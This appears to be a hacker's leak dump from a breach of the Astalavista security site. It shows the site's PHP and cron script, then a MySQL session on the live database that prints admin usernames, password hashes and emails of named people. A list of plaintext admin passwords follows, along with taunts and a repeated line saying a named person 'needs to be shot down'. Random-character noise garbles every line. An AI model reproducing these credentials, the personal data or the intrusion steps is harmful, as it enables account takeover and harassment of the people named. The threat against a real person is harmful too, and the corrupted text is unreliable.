# i  K+ ~3 t7 `) K: M            $comExploits[$x]['startdate'] = ‘0000-00-00′;2 d) w3 B& J. X. B- E
            $comExploits[$x]['enddate']   = ‘0000-00-00′;
, |, d% q& \  |            $comExploits[$x]['status']    = ‘1′;
5 g  \& n' q2 ~9 @, R; y; ]6 X            $comExploits[$x]['changelog'] = $date;& s$ z1 q, ^9 @. [4 ?

6 _' E" ~+ D) _0 t& P& Q" s  A        }5 O- h! S. g; z# b$ t
[snip]
6 {2 h% ~! k6 `! B1 z8 W. T8 @7 q# Q/ M    $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
8 l8 s: t2 D+ F- B# l+ {* a1 j<rss version=”2.0″>
2 h7 f! `! `% {, E) C    <channel>
5 g" y, T" w$ b' D* w- \        <title>ASTALAVISTA.com - Exploits</title>% U& H$ {7 v" G/ \: Z* o# m
        <link>http://www.astalavista.com/exploits</link>
% }0 z9 t* u6 g) Q+ a$ U& f5 Y        <description>All availably Exploits.</description>  u9 z( J# F+ U9 o) a
        <language>en-us</language>
+ A4 |1 P! c+ j; X5 |3 O7 g: e        <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>) U0 f6 h. P1 L# ]# I; L& R; _
        <docs>http://blogs.law.harvard.edu/tech/rss</docs>
2 w2 H( O% r1 P, c        <generator>Astalavista.com</generator>
" V+ t* p- U9 ]        <webMaster>info@astalavista.com</webMaster>’ . $items . ‘
2 R7 g* J/ Q" J/ I, y* }, |    </channel>4 D/ z. j" \* C# |0 y6 O+ }3 j
</rss>’;
0 N& g6 ~# R6 T5 `
2 I9 A! t: u: Q    if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
& n1 z) n' c8 t# n1 R9 m9 F# r        unlink (FULLPATH . ‘/feed/exploits.xml’);+ r6 ]! t. }! n1 i1 t* _! {: _
    }
  K& S: Y5 c. E" |* K5 r0 J( t$ _# `6 m0 e7 N
    file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);2 Y6 a! t, i+ Z
[snip]
8 b4 V+ x: Y- o  A. C+ [0 @! Q$ H' |& C4 Y1 B3 ^' z" i
sh-3.2$ cat exploits.sh7 S5 F9 x% y8 Q/ t
#!/bin/sh: j& k! I. f" \3 G/ e& Q3 i  q
" l) p, q. O2 C
###########################################################
" r. k3 J( l0 D' U( N#                                                         #1 g( D4 T9 E6 g( ?
#   Title:        milw0rm exploits adder                  #
2 s5 ?; M( V3 A2 h2 e& m& s3 r#   Description:  Add all milw0rm exploits to the         #
; V) K  _* ?5 D3 ]#                 Astalavista.com database                #
- d: b. h( D  @7 _- {$ D& r9 C#                                                         #" |' z, K+ B, C# j5 v$ r5 c1 l
#   Company:      Astalavista Group                       #* O4 z7 [8 t4 w& k( ~/ M- z2 U1 R
#   Author:       Paulo M. Santos                         #
; g) O  K: W2 m#   E-Mail:       链接标记paulo.santos@astalavista.ch             #0 ]2 F7 W* m- l. W4 v
#                                                         #2 ^4 G1 ^) Y% o+ p
###########################################################
8 F# e& T# e$ ?3 O5 W4 D+ E
5 P% k9 V7 K9 N9 r5 ?4 F, L1 w# path' X7 q+ }/ t; C* e" z- p& Z8 K0 ~
this_path=/home/com/public_html/modifications/cronjobs" g  H4 |: {2 J# ]& b$ ^  Q
0 x0 z% Q' N4 x$ x. p7 P
# change directory
( w8 u1 v$ i% xcd $this_path
4 |" t8 \: u3 C7 B. h* ?9 u, fcd tmp/; _" J: @4 t* J) H+ _% F3 y
; B( h5 _, n3 ]$ G2 R* r, q" J, F
# delete files
1 y5 x, M5 S" `. _* nrm -rf milw0rm.tar.* &; C1 J1 @. g$ K. D" B
rm -rf milw0rm/ &
- x& `# @$ R, ]  t& [+ n8 k# k: I# e2 K2 C8 W* }. ]2 a
# wget milw0rm paket
+ ]1 r, g( j/ \4 F% Cwget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]
" p9 ]7 e& ]: s9 n" `! n0 D
$ R8 I9 ^) x1 x7 U" p8 x3 J2 ^& n# extract milw0rm paket
" `0 t4 {0 d+ |: Htar -xvf milw0rm.tar.bz2
/ l7 w, i' H) K: l+ @, _4 d; t2 W* o4 k9 S+ M4 O+ Z* r
# change owner; k% O. X& G: d* T$ ?
chown -R com .* z0 a1 p. O- H4 [5 I; C  }
chgrp -R com .+ M. ~  F0 K: `8 Q
% R/ b& u" r; n1 T0 G0 @
# execute php script
- u" u3 N. b) |, dcd $this_path
# i' }' N2 F6 Aphp -q exploits.php+ k( ^1 D$ F9 h6 C+ a0 C5 W. T
3 _# |2 l% p3 V* `% o  E) M. d
# delete files
  `7 D  s2 `0 D9 s6 qrm -rf tmp/milw0rm.tar.*4 [6 E$ Y# F  [
rm -rf tmp/milw0rm/+ y) K1 n/ B/ ~, b% l; P
. m' x* k) ?$ H9 z5 q5 q) H
sh-3.2$ echo “Paulo M. Santos needs to be shot down.”
) X% }) t& p( m: c% `. m  y6 |7 `Paulo M. Santos needs to be shot down.
6 m1 t3 O$ B. ~6 _% q8 T* |
( k( B1 q, A6 x2 c- |7 tmysql -u contrexxuser2 -p+ w% ?; p- P  x# ^. s/ {
Enter password:8 e9 _3 Z/ ]) f! V4 R
Welcome to the MySQL monitor.  Commands end with ; or \g.
; h+ L  P3 e8 l# D; H2 b' wYour MySQL connection id is 261694* ]+ A# }* z3 ~
Server version: 5.0.45-community-log MySQL Community Edition (GPL)
0 j& A- j: Y, [0 N  ~
" J/ a! N) ?* k9 DType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
1 }; h5 ^0 r1 t( Y. s, I. H$ y
" |  e: Q# h% @1 ]mysql> show databases;
) j* e4 e, u# ]  y. z0 Z( c8 p6 n. ^+——————–+) e& {. u% y$ k( Y. o
| Database           |
3 c; S; \* j$ v$ X3 y' S% H7 ~+——————–+
: w  C, E" t1 L* _7 N| information_schema |) j7 y) w6 L7 P0 V- h1 A
| com_contrexx2      |5 {4 ]" ^1 Q4 S& @3 T8 Y
| com_contrexx2_live |
( d5 D, Y: I8 S4 `9 s| test               |
5 [% a/ C  C+ O( \+——————–+. G+ d% k& S6 ?1 o! O
4 rows in set (0.00 sec)6 N& f& I, X: ~: h, h/ ^
9 M6 ?( \4 y* m: N
mysql> use com_contrexx2_live1 ]) z! Z( C9 M% A$ _6 O
Database changed8 C1 m' d5 z# j* ?  C- D
mysql> show tables;
5 d& |4 |% t6 l2 m0 I+ B+————————————————–+
& w9 \5 Q# `6 j9 v4 ~| Tables_in_com_contrexx2_live                     |
& i3 m( d( o1 f5 J  A+————————————————–+
* q4 K" S4 U: s9 I- q| cc_banner_counter                                |
& }: {% @  }. G% T| cc_search_counter                                |
& C. E6 v7 ?1 ^+ h$ d2 H| contrexx_access_group_dynamic_ids                |
7 j5 w: \8 ?( s3 T4 G9 ]| contrexx_access_group_static_ids                 |" y0 x8 b" D, y# b3 p' n
| contrexx_access_rel_user_group                   |& W  ]2 g, x: _6 M. a" Q- L
| contrexx_access_settings                         |
& a$ _* T  B! ?| contrexx_access_user_attribute                   |7 x* P0 N. I1 R' b
| contrexx_access_user_attribute_name              |
8 t8 j; E! W: E# r| contrexx_access_user_attribute_value             |
6 T, N, T' _& \$ j' s; e( H& |* |5 J- g| contrexx_access_user_core_attribute              |
5 u' p' N! k# [+ ?( x" t8 z| contrexx_access_user_groups                      |8 U+ F, \( l  A& e! Y- P" Z
| contrexx_access_user_mail                        |& _! R( x8 n; }/ t7 W
| contrexx_access_user_profile                     |
6 \0 b- N  ^0 ], k/ a) X2 V- J| contrexx_access_user_title                       |3 k# ~, o! h% {1 p) U3 B
| contrexx_access_user_validity                    |0 a+ n$ r0 C# N5 b
| contrexx_access_users                            |" T" k) g+ R* K5 b! c0 ~9 k
| contrexx_backend_areas                           |4 u; u7 Q% H$ ?7 B
| contrexx_backups                                 |
" z2 _2 i$ q3 ~3 X" i| contrexx_content                                 |( M5 k) I8 b# P9 J
| contrexx_content_history                         |! E* F! R, Z) J* S; V  {
| contrexx_content_logfile                         |: Z6 X3 U+ {- ~. y) W# \
| contrexx_content_navigation                      |
% t1 a9 n5 c/ y9 b| contrexx_content_navigation_history              |- r8 e3 a: v# n
| contrexx_ids                                     |
7 x" {/ [! W- V  H) p1 c| contrexx_languages                               |
% M$ e* Z3 v8 }) q( i| contrexx_lib_country                             |
* J$ ]6 a- R( A, y: P$ f* y| contrexx_log                                     |
# ~* s* r& W( U6 || contrexx_module_alias_source                     |
1 j% K1 Q6 H# |. M/ z) C| contrexx_module_alias_target                     |
& `% c+ S) b; {2 y/ W2 y, V| contrexx_module_block_blocks                     |
- i% N/ P2 b. D6 r1 @. [& N4 ~| contrexx_module_block_rel_lang                   |
) b4 K' M$ D( Q2 ]7 f# @| contrexx_module_block_rel_pages                  |6 r+ F. E, }8 I, u9 J" K; r( D  [
| contrexx_module_block_settings                   |
( ?1 Y2 ^+ t: ~% ~| contrexx_module_blog_categories                  |, s& {  x8 F  v1 X9 d
| contrexx_module_blog_comments                    |/ Z  O# G( z) C' P
| contrexx_module_blog_message_to_category         |+ R& M5 I+ |- O/ W
| contrexx_module_blog_messages                    |
( N  m+ ^8 @% z. G# Y0 X| contrexx_module_blog_messages_lang               |0 @2 V4 L4 |- F, C
| contrexx_module_blog_networks                    |
. v3 R3 z" F( R' e! h7 O' Y4 I| contrexx_module_blog_networks_lang               |1 D7 T$ A& K" Z' N; n
| contrexx_module_blog_settings                    |
' q( m; I5 R  m7 v| contrexx_module_blog_votes                       |, m: J1 U+ j3 i& T% |' L) D- X, Y# k
| contrexx_module_calendar                         |
1 w% q. O( |% {5 ?' K* f; \$ B| contrexx_module_calendar_access                  |5 R/ q! U8 w5 _% _9 x7 _
| contrexx_module_calendar_categories              |
% C, b* n& }" k: C| contrexx_module_calendar_form_data               |
+ R' z- h& D2 V: v| contrexx_module_calendar_form_fields             |6 J6 U# g' B8 ~* g$ n: S2 n, q% S' o- Z
| contrexx_module_calendar_registrations           |$ N. V+ {- C/ a& y- E6 A( [# F
| contrexx_module_calendar_settings                |' Z* A2 L2 v, }0 P. e+ G
| contrexx_module_calendar_style                   |
  v" J( I4 p& g8 z. L+ J; r: C" Y  c| contrexx_module_contact_form                     |8 f9 Y- C5 i# h" E4 h, A
| contrexx_module_contact_form_data                |, ^/ P1 h, L) E) g0 m
| contrexx_module_contact_form_field               |. |2 M1 w% u1 O$ q
| contrexx_module_contact_settings                 |
% w+ v+ Y  v  P. G! n2 {0 x' W6 L6 x| contrexx_module_data_categories                  |, n4 N7 [- i) o  h& E
| contrexx_module_data_message_to_category         |
( \1 s( j* J2 Q2 C, v| contrexx_module_data_messages                    |4 D$ S  b; y2 j7 h* E6 ]* c# I
| contrexx_module_data_messages_lang               |
  Z) }& o1 m& ~* E0 \, q) K3 E9 E# _| contrexx_module_data_placeholders                |
7 G) _5 |& z6 A- o- S1 [) ?- d| contrexx_module_data_settings                    |
: V8 V# H) u* O' R" q( d| contrexx_module_directory_access                 |
, D( ^6 I# v& Z- `; S| contrexx_module_directory_categories             |
3 k/ E. q$ B+ @" T| contrexx_module_directory_dir                    |$ V5 f8 r' f6 B
| contrexx_module_directory_inputfields            |  o$ f! [. ^3 F( Q6 E' M$ `* K3 b
| contrexx_module_directory_levels                 |
4 p; U2 Z& n8 i% p: v8 `6 K$ A2 G| contrexx_module_directory_mail                   |
. u* Y& S4 _* ^' y1 ?| contrexx_module_directory_rel_dir_cat            |
! B  s5 w( ]& L6 K4 X( A! G" G| contrexx_module_directory_rel_dir_level          |
3 V& k0 N8 c8 \1 F7 c| contrexx_module_directory_settings               |! b6 g" d) G" @* ]
| contrexx_module_directory_settings_google        |4 f/ t* V. ^5 K' i. ?
| contrexx_module_directory_vote                   |
- C, X$ Y" j2 H8 }| contrexx_module_docsys                           |( a' H* |' W/ I- E1 ]
| contrexx_module_docsys_categories                |
; g2 X; z' c: o. d$ k+ Y! f- G2 p| contrexx_module_egov_configuration               |
- s/ W+ ~2 ~$ t( ^) `| contrexx_module_egov_orders                      |: X7 r! V5 p4 D1 H
| contrexx_module_egov_product_calendar            |
( ?6 T  x/ E- F6 ]| contrexx_module_egov_product_fields              |
0 g/ t" G: F$ {5 B| contrexx_module_egov_products                    |
4 g4 T9 N) J4 j" T6 X6 \; D$ w| contrexx_module_egov_settings                    |
+ b: G: J9 c- ?# Z9 p| contrexx_module_exploits                         |
) e  v  k" M8 s- D4 n; c6 _| contrexx_module_exploits_categories              |0 T9 h/ W7 ]  A* K: Y  ~, G/ t
| contrexx_module_feed_category                    |
! m! y. @5 A0 G+ ?- n; U5 E2 G! z3 v  f| contrexx_module_feed_news                        |
- ?: F% X3 _# d6 || contrexx_module_feed_newsml_association          |
$ v1 C6 N! M9 m% @. || contrexx_module_feed_newsml_categories           |. a/ A8 m9 v# @- o5 W- x
| contrexx_module_feed_newsml_documents            |8 H& E6 h. ?6 [  [7 r$ S: _  F
| contrexx_module_feed_newsml_providers            |8 f9 {  I# f9 U4 V4 _/ @6 E" }
| contrexx_module_forum_access                     |
$ F) n* n; E, ]1 V9 p! ?| contrexx_module_forum_categories                 |5 U+ S9 {. o9 n$ ?1 p9 ]$ j$ F8 d
| contrexx_module_forum_categories_lang            |1 f, n, u. h; u0 ^, W( i8 e
| contrexx_module_forum_notification               |) n( b5 O- B- w- [$ o" L
| contrexx_module_forum_postings                   |
6 E4 j( V# K7 X: V- m6 I/ b- L# M# A| contrexx_module_forum_rating                     |
+ V( A/ H6 S. W& I6 y7 B| contrexx_module_forum_settings                   |$ j) {* \# C" U1 _3 W! }$ M
| contrexx_module_forum_statistics                 |
4 B  h6 O+ }& ^5 D& r: f3 a7 N1 r. R| contrexx_module_gallery_categories               |
0 n, {  [8 o/ H, q, e| contrexx_module_gallery_comments                 |
9 @4 j2 j& }0 ~, K* w$ }% O| contrexx_module_gallery_language                 |, m( K/ t0 _4 y0 W$ y" Y: O  ~
| contrexx_module_gallery_language_pics            |
1 d, Y% s2 K3 t$ l, b| contrexx_module_gallery_pictures                 |
. L* Y4 H$ h1 x( |3 O# k  n& t3 h| contrexx_module_gallery_settings                 |1 [4 @5 W' O: M, \* @" d6 l
| contrexx_module_gallery_votes                    |
3 ~1 z. N2 R% p| contrexx_module_guestbook                        |
0 N+ L" e, f3 ?3 N, [/ {| contrexx_module_guestbook_settings               |$ c# z8 W5 g2 b' [; Z" ]  u
| contrexx_module_livecam                          |
( C& U3 N- |  @/ l$ }% J| contrexx_module_livecam_settings                 |
4 K5 a# X4 G# R* _/ d4 E/ _| contrexx_module_market                           |
* @) ^0 {: h) d( O+ f8 P$ J| contrexx_module_market_access                    |+ }; y+ P1 [5 N" O% I3 K; S! a! ~) }
| contrexx_module_market_categories                |
3 {, O. U& s+ U' J/ g: u| contrexx_module_market_mail                      |% k* E$ v- S/ ~, L
| contrexx_module_market_paypal                    |4 r8 d2 i2 _$ }, `: ?: H1 d2 X
| contrexx_module_market_settings                  |
, {, J2 g$ G0 n- c5 z| contrexx_module_market_spez_fields               |
0 M: |) N! l- R4 L: E, t1 G| contrexx_module_mediadir_access                  |7 m  Z" G6 p* N5 N7 N
| contrexx_module_mediadir_categories              |0 `0 }7 G: `2 L5 ], ~7 y
| contrexx_module_mediadir_comments                |
1 l: q9 I6 F) \| contrexx_module_mediadir_dir                     |, x- N  r: c8 j8 V2 K4 {
| contrexx_module_mediadir_inputfields             |
8 Z6 S2 S: I' H; G0 K- S( S| contrexx_module_mediadir_levels                  |) J. B. z2 m( d( o- X
| contrexx_module_mediadir_mail                    |
3 |+ ?. H7 _2 l| contrexx_module_mediadir_rel_dir_cat             |
- n8 ~. ^# y9 Q3 E; v& q3 e2 W| contrexx_module_mediadir_rel_dir_level           |
: t* O# p7 O  a& }! X$ w| contrexx_module_mediadir_reports                 |" h: R' M6 v# `6 X2 ?6 K, S
| contrexx_module_mediadir_settings                |0 V( R& |' \6 ]9 K7 ]* f
| contrexx_module_mediadir_settings_google         |2 r" v; F" y- Z
| contrexx_module_mediadir_vote                    |# @( g: |/ {0 H
| contrexx_module_memberdir_directories            |$ f! _/ V& F! J3 O( T. G- l5 W
| contrexx_module_memberdir_name                   |1 P& g* }3 E! Q8 a0 m" y
| contrexx_module_memberdir_settings               |
: E- q; V2 F8 [, O! v. P| contrexx_module_memberdir_values                 |
/ T$ o7 D2 E2 f. c| contrexx_module_nettools_allowed_groups          |' G& C3 y2 f  E: f' x# A& _
| contrexx_module_nettools_settings                |
. E% C1 p) B  i  [; c| contrexx_module_news                             |
( i4 V$ f4 @& ]| contrexx_module_news_access                      |
2 E  D# V$ e9 x| contrexx_module_news_categories                  |- \) ?# K4 @: y1 S. Z
| contrexx_module_news_settings                    |* ^4 q' }& ^+ h! s
| contrexx_module_news_teaser_frame                |9 T9 b: `; I2 p' H4 O7 u1 U$ M
| contrexx_module_news_teaser_frame_templates      |
% g( j7 p/ S9 N5 D- o| contrexx_module_news_ticker                      |
- @% J/ c+ y- R. || contrexx_module_newsletter                       |
4 H& R. ~7 N) V7 L7 Y| contrexx_module_newsletter_attachment            |, h5 L1 k+ E" B  `1 M0 k: F
| contrexx_module_newsletter_category              |
8 @* d0 I# r7 g  R2 A" `| contrexx_module_newsletter_confirm_mail          |3 g: r7 D' h' q$ C
| contrexx_module_newsletter_rel_cat_news          |8 K" u; E7 b' Q* C
| contrexx_module_newsletter_rel_user_cat          |- D8 p/ o* b6 d
| contrexx_module_newsletter_settings              |
  n" x) t4 A( V) Y| contrexx_module_newsletter_template              |
. q. \3 {- C# D; h| contrexx_module_newsletter_tmp_sending           |
+ ~% r. d. o: G0 [+ X5 m; S4 z6 u| contrexx_module_newsletter_user                  |; q# N; m- x: R6 s) V, E( V  D) K
| contrexx_module_newsletter_user_title            |1 V- _/ \* e% \' C5 ~5 ~; j
| contrexx_module_onlinetools_defaultports         |+ ?/ [8 I0 q! S, N" ]3 d: w0 n
| contrexx_module_onlinetools_defaultports_back    |
+ |' T: [! D: s7 }| contrexx_module_onlinetools_geolitecity_blocks   |
" g1 {& L* ]4 q+ Q| contrexx_module_onlinetools_geolitecity_country  |6 R) b* ?2 I1 J8 y5 z8 S
| contrexx_module_onlinetools_geolitecity_location |
# _; g8 T2 Z! `/ R" `; r9 ?| contrexx_module_podcast_category                 |
) o  a! q! u4 {: i6 K8 D  j| contrexx_module_podcast_medium                   |8 z0 I% k' Q* ?( C1 N
| contrexx_module_podcast_rel_category_lang        |
5 O% |) P$ ]$ @: t3 i| contrexx_module_podcast_rel_medium_category      |; \+ m! r  E, l  x! Y% d
| contrexx_module_podcast_settings                 |
. Q; H' D9 A. |2 Z! R| contrexx_module_podcast_template                 |: a( b9 Y6 Z7 ]/ h# ~; C! D1 L
| contrexx_module_proxydb                          |# h) V& |3 q# l; l7 f
| contrexx_module_recommend                        |
" @5 w9 D6 U9 R! }0 G  s0 _0 ?| contrexx_module_repository                       |& Y" Q/ j6 N+ a; I; P
| contrexx_module_securitynews_cats                |# s9 h1 L2 ?$ K* I+ y- W7 W, K8 M
| contrexx_module_securitynews_feeds               |
" y: O# m6 _: e2 Z  P| contrexx_module_securitynews_news                |
: Q" `0 y- Q+ w0 V  Z- w  V1 h- s| contrexx_module_shop_categories                  |
+ P7 D& o' |0 ^' || contrexx_module_shop_config                      |: K7 e, E; {2 B4 H1 j3 z9 \
| contrexx_module_shop_countries                   |
  r. L! T& Q4 l9 g/ T$ U2 X; E' Y| contrexx_module_shop_currencies                  |  `4 A  k; q' e8 @3 _  m0 r( x3 O/ u
| contrexx_module_shop_customers                   |
3 ]1 G9 v/ }4 [4 j2 x| contrexx_module_shop_importimg                   |
) {# I6 k2 z, v| contrexx_module_shop_lsv                         |) n4 B7 b, I7 `* N$ V
| contrexx_module_shop_mail                        |/ i; @4 h" U4 a2 \% A4 g: _
| contrexx_module_shop_mail_content                |
5 R# F" K, e8 p| contrexx_module_shop_manufacturer                |
8 p$ V# }( ~8 R" P| contrexx_module_shop_order_items                 |
9 \3 d1 ], {, Q* M3 ^| contrexx_module_shop_order_items_attributes      |
+ F- n1 W( Z8 l# S4 H! l| contrexx_module_shop_orders                      |: I+ q- Q/ x9 H, P) x
| contrexx_module_shop_payment                     |
- W- S- D( z8 l4 b, c1 s| contrexx_module_shop_payment_processors          |7 i6 c) @2 j- E5 r* Y* k" k9 G
| contrexx_module_shop_pricelists                  |
& k; p$ c6 i6 W; v5 f! f| contrexx_module_shop_products                    |# _# V' G4 X' Q4 p
| contrexx_module_shop_products_attributes         |
7 A- K- p! z8 v1 |0 Y7 p# h| contrexx_module_shop_products_attributes_name    |0 P) ~$ ^5 }3 s# z. u% h/ t/ I
| contrexx_module_shop_products_attributes_value   |* D6 S: S7 r% Y1 \4 E2 R
| contrexx_module_shop_products_downloads          |! R; U3 G; D/ K
| contrexx_module_shop_rel_countries               |
6 k. N% ~# z7 P, W) y  k0 t| contrexx_module_shop_rel_payment                 |* N% @! t5 @% j- p
| contrexx_module_shop_rel_shipment                |
5 A3 ?5 b% Q/ {8 ]3 Y3 q7 F3 [| contrexx_module_shop_shipment_cost               |/ G+ u) t# w: M) y3 m
| contrexx_module_shop_shipper                     |
/ q2 A8 K) X. Z5 o( _* U# [. d! K| contrexx_module_shop_vat                         |% E6 z/ M7 I3 |* G
| contrexx_module_shop_zones                       |2 I% u' ~8 P& f  T( T
| contrexx_module_u2u_address_list                 |; E  W; `7 p; L# j' v2 H4 p6 S
| contrexx_module_u2u_message_log                  |3 c6 n; F% c  E$ Z8 ?: _3 d
| contrexx_module_u2u_sent_messages                |3 T# b9 l7 x! h
| contrexx_module_u2u_settings                     |6 n0 {" u1 e! R  L1 W: M2 f0 W6 Y) R
| contrexx_module_u2u_user_log                     |- m) l5 S( k' \4 N3 g
| contrexx_modules                                 |
) i  v3 E, ]; n7 {9 u' e| contrexx_sessions                                |5 C* E( R( u2 |+ C
| contrexx_settings                                |
0 ?* Q! z" P) _, y  x| contrexx_settings_smtp                           |
  g  `4 ?. W3 f; Z| contrexx_skins                                   |
2 B2 J' T1 U+ Z) X; V( W| contrexx_stats_browser                           |
+ z) T( N- g% N9 v2 T| contrexx_stats_colourdepth                       |
- P3 |& N( L( ]0 m) R) D# y8 K* ?6 N| contrexx_stats_config                            |2 ?  a( K$ I+ i/ I+ F; R/ j. `
| contrexx_stats_country                           |3 j. D- [* S8 m( e
| contrexx_stats_hostname                          |" A7 T4 B5 l3 D- w$ \  x
| contrexx_stats_javascript                        |
/ _# d1 Z* U: A8 o! E8 o| contrexx_stats_operatingsystem                   |
7 |3 j6 h( L% ^. {- B| contrexx_stats_referer                           |
3 {% k' p/ F4 C! L5 {, b| contrexx_stats_requests                          |
- ]% q4 M+ J% }1 `8 x% f& v' S- ?1 o| contrexx_stats_requests_summary                  |
1 C- b6 u! B2 y+ Q0 J- ^- P| contrexx_stats_screenresolution                  |
% p- G# ~" y( o| contrexx_stats_search                            |
# g# q' t2 n9 r9 U  F( x; X3 d4 _| contrexx_stats_spiders                           |
, W) n: _1 B9 c8 w| contrexx_stats_spiders_summary                   |
9 ]6 M3 E9 I- {* H- N/ j| contrexx_stats_visitors                          |, I& l. b" \2 ^9 W/ H* x$ r/ s
| contrexx_stats_visitors_summary                  |! l  R1 N; y3 @" P& z3 |0 D$ z' O
| contrexx_voting_additionaldata                   |
8 c5 {5 k; v5 \9 w$ J. I| contrexx_voting_email                            |
6 v( E, G3 y3 p6 y. g# L| contrexx_voting_rel_email_system                 |3 e* C# {! l* C: s  P4 h
| contrexx_voting_results                          |
5 |# p" g4 g* T% Z| contrexx_voting_system                           |: D7 m$ q9 e" C; U* u$ i# `. e
| foo                                              |
+ V0 M  r7 ]2 I  d7 e' I+————————————————–+% Q- x$ T0 b1 d, r8 `
227 rows in set (0.01 sec)- g% a: }0 u8 J$ w

$ v3 V  K) R) u. e# e- i' k! D2 Fmysql> select count(*) as skids from contrexx_access_users;1 d. H4 B" v& ]$ ?
+——-+
/ S( a5 f. s2 ?* E| skids |0 ^  J5 p, x  ~1 T( u; J& z, u
+——-+0 E! V! q& Z! L
| 53699 |
# u5 }  ]% T! V  t  ~+——-+. f2 {" M) g0 v, x2 T" ]1 q
1 row in set (0.00 sec)
  k; p+ p1 o; R
, P0 X# B# [; w  U' b/ Wmysql> describe contrexx_access_users;
8 q- ?, i9 o. @; i# a: @+——————+——————————————+——+—–+————–+—————-+0 g' Y' D7 N# {& ]  D% E
| Field            | Type                                     | Null | Key | Default      | Extra          |; b! A  W: k& n2 E9 J
+——————+——————————————+——+—–+————–+—————-+. P1 Y: `! J  \- F/ b8 r# D9 d, m
| id               | int(10) unsigned                         | NO   | PRI | NULL         | auto_increment |
0 j: d5 c0 V9 Z( b7 O+ y| is_admin         | tinyint(1) unsigned                      | NO   |     | 0            |                |
( [3 T, Q7 {( N  S| username         | varchar(40)                              | YES  | MUL | NULL         |                |: I2 F6 o& j7 ^9 L- W0 |6 [
| password         | varchar(32)                              | YES  |     | NULL         |                |3 W4 d1 l/ S) @8 _  `
| regdate          | int(14) unsigned                         | NO   |     | 0            |                |
$ t! S% J+ k9 Z. E| expiration       | int(14) unsigned                         | NO   |     | 0            |                |  m) O5 ^: }5 P. o. t+ R
| validity         | int(10) unsigned                         | NO   |     | 0            |                |
( m3 o& ?! f/ G  ?0 U' @| last_auth        | int(14) unsigned                         | NO   |     | 0            |                |
: k8 N! s$ L: ~* o8 t: s| last_activity    | int(14) unsigned                         | NO   |     | 0            |                |
2 g" e1 t! C5 o4 U; z| email            | varchar(255)                             | YES  |     | NULL         |                |% _- E5 u' @6 L  U0 u9 [6 E3 V
| email_access     | enum(’everyone’,'members_only’,'nobody’) | NO   |     | nobody       |                |$ V( `; i; o" D9 G$ A7 S0 H5 t, {
| frontend_lang_id | int(2) unsigned                          | NO   |     | 0            |                |
  N3 e8 |; c+ q9 I| backend_lang_id  | int(2) unsigned                          | NO   |     | 0            |                |6 ?& p. d( G: W
| active           | tinyint(1)                               | NO   |     | 0            |                |
$ d8 v( l: [  u| profile_access   | enum(’everyone’,'members_only’,'nobody’) | NO   |     | members_only |                |
8 O" `7 T* [4 R5 H' h# H0 O& A" J" B' t| restore_key      | varchar(32)                              | NO   |     |              |                |* b+ o9 T, u8 r7 t( I8 {/ m& T" F
| restore_key_time | int(14) unsigned                         | NO   |     | 0            |                |5 w5 ?2 G, W$ {- b& r0 D9 F' ^  X
| u2u_active       | enum(’0′,’1′)                            | NO   |     | 1            |                |
1 _" H+ w" i2 p& g0 Z+——————+——————————————+——+—–+————–+—————-+
, s" k) O( ?7 ?6 v18 rows in set (0.00 sec)
0 G  ~5 Z2 o2 Q( Z9 I9 ^. z- t1 K/ Q9 |* z# a2 I7 J
mysql> select username,password,email from contrexx_access_users where is_admin = 1;
0 N- ]; [3 _0 z! r" |) t- i8 Z, o+————+———————————-+—————————–+- O5 }7 l% I2 T+ B) y# L
| username   | password                         | email                       |
! o1 {8 M* t6 [+————+———————————-+—————————–+" Y5 \# V2 C6 H( U5 W" t% f1 P
| system     | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com          |, l% d# ~& K; P4 A9 r! J7 j# W
| prozac     | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com      |
4 n6 b+ _" O/ i1 A) M7 m. d5 e9 X| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |4 W5 ~( x8 [7 y
| schmid     | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com   |  b  f( p/ n' x0 }; Z5 q
+————+———————————-+—————————–+
, e- K( A8 n+ W4 rows in set (0.04 sec)" [& s, R% V  l# [# ^6 `# z

5 ^- d3 @1 o9 ?# R9 vmysql> exit;# a( M% d7 H) T7 v/ W; _0 ?
Bye
, [" y: r0 W: m# h
7 Q$ K9 ^6 a8 n/ n0 e8 C$ s  i[~] There you go, your “team of security and IT professionals” is a joke.6 c; P. Z! F' r4 \. ^  U

; `& E, o; @4 o2 d3 d) e+——————————+
  Q1 J  G' P7 Z4 z" X1 wsystem:f82BN3+_*
' c6 X% S9 C# p$ s) V* p" v, MBe1er0ph0r:belerophor4astacom% M& F3 a4 {/ l
prozac:asta4cms!
4 c; t3 W: y0 j5 {' ?# d- T% Fcommander:mpbdaagf6m+ o" x( ]+ k" d, z0 h/ o3 j
sykadul:ak29eral
' c7 Y- D$ R0 Z& S4 Z+——————————+, x1 R. B- q) j3 c" T6 A: @
9 U, B/ v; O8 c4 x4 C% ^& c* X# r
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
, @( S. `/ U7 A! ~…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.) W/ y6 k% y9 P" {1 ~0 _: t

; f; m+ z, Z0 o, _0 J[~] Lets move to astalavista.net now,
' S, u! O! P* o! m& C% R3 [/ o% W) o% `: c: c) \! h
From <链接标记[url]https://www.astalavista.net/[/url]>:
2 B0 ]9 H! t1 R>> Everyone knows that the best defense is a good offense.- m# r; ~8 h- Z: E
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.( `+ O& ^3 Y' X, d0 e7 I8 A" x2 X' X
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
' q7 C* X* s- j$ P/ m3 I% ^>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”) |+ Y" ^! w4 C% o7 [" b6 c( }0 W! K
2 }% x; C8 a; c* n4 ^
>> Go ahead, try and hack our server . in a completely legal way!3 K: B; }% C5 G! V
>> Learn by doing: We offer our members tricky tasks and challenges on an
7 ~! g( y, R4 r6 y1 i( o6 S. d4 c; k>> ongoing basis so you can test your knowledge and abilities. You can also
